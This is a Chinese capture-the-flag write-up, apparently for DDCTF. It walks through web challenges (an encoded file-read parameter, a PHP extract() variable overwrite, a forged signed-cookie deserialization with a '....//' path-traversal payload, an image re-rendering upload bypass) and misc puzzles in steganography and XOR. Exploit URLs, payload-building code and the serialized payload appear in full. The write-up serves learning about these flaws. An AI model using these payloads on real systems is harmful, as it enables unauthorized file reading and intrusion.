web
滴~
这是i春秋上的一个原题。
(原题比这个好)
进入页面发现
观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base16进行解码得到flag.jpg。
我们试着把index.php进行同样的编码看看是否能够得到源码。果然
进行解码,得到index.php的源码。
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
审计源码发现只能传入字母数字和点的文件名并把config用!替换。
然后发现一个网址。。。(脑洞开始)
访问网址发现文章“vim 异常退出 swp文件提示”应该是文件泄露
各种尝试。。。最后发现是
然后我们就可以进行读取f1ag!ddctf.php的源码了。
这里利用config被替换成!来绕过。对f1agconfigddctf.php进行编码
最后得到源码:
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
extract存在变量覆盖。
playload:http://117.51.150.246/f1ag!ddctf.php?uid=&k=
然后得到flag:DDCTF{436f6e67726174756c6174696f6e73}
WEB 签到题
看见这种题有点懵逼。。。
在调试器中发现index.php
发现加载啦auth()函数
找到auth函数:
以post方式访问117.51.158.44 /app/Auth.php然后发现
存在didictf_username: 然后用burp开始跑用户名:
猜测是弱口令。
发现用户名是admin
发现新页面,得到源码。
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();
审计代码:
session_read()方法是是用来获取cookie后面的hash值和反序列化的值。
然后通过序列化的值在前面加上签名进行验证。如果验证成功就进行反序列化处理。
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
这里把 eancrykey 也带入了循环,所以只要nickname中有 %s 即可读出。(sprintf函数的特性)
session_create()方法是用来对生成cookie的。这里对序列化值进行签名。
然后这时我门就需要获得他的密钥。
然后我们发现,在Application类里面有file_get_content
函数,我们可以在这读取文件。
构造playload:
<?php
class Application{
var $session_id = '2081563e7498674903b82eaf13cdcac6';
var $ip_address = '117.159.73.196';
var $user_agent = 'Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:66.0)+Gecko/20100101+Firefox/66.0';
var $user_data = '';
var $path = '....//config/flag.txt';
}
$a = new Application();
$a = serialize($a);
echo $a;
echo md5('EzblrbNS'.$a);
?>
得到playload:
O:11:"Application":5:{s:10:"session_id";s:32:"2081563e7498674903b82eaf13cdcac6";s:10:"ip_address";s:14:"117.159.73.196";s:10:"user_agent";s:78:"Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:66.0)+Gecko/20100101+Firefox/66.0";s:9:"user_data";s:0:"";s:4:"path";s:21:"....//config/flag.txt";}23558440aa50afdf4a8ee5df055659c1
Upload-IMG
打开页面发现是一个文件上传的题目
先随便传一个图片看一下
发现这个是需要经过二次渲染之后 还能找到 phpinfo() 这一串字符串
让我想到了 以前做过的 upload-labs的第十六关 二次渲染绕过
于是开始制作一个 能过绕过二次渲染的图片
首先保存一个 已经被渲染的图片 命名为 1.jpg
然后用大哥的脚本开始跑图片
php phpinfo.php 1.jpg
制作完成一张 合格的图片
然后上传 就会得到flag:
misc
wireshark
首先,我们得到一个流量包,分析流量包并未发现敏感信息。 。。
然后,就试着导出图片
得到:
并未有任何发现。。
然后,就试着再次分析流浪包。
在追踪流时发现多个图片。
又发现了一个解密网站。。。
发现了钥匙。。。
然后就是获得key
把高度改为06 40,得到key
key:57pmYyWt
然后在线解密就得到flag了。
北京地铁
第一步,Color Threshold提示我们观察颜色,想到了lsb用隐写神器调为rgb为零时得到密文: 7SsQWmZ524i/yVWoMeAIJA==
然后得到提示AES的ECB解密,然后观察图片发现魏公村的颜色与线上的其他点的颜色不一样。
猜测密码为weigongcun。。。
在线解密得到flag:flag:DDCTF{Q*2!x@B0}
multzor
观察字符发现像是十六进制,然后想到是个文件用winhex新建文件,把16进制数粘到左边,把多余的的删掉。保存文件,不需要后缀(不知道)
想到异或用到xortool神器
执行命令xortool -x -c 20 文件名
跑key的长度(只是有可能)
执行命令xortool -l 长度 -c 20 文件名
生成的.out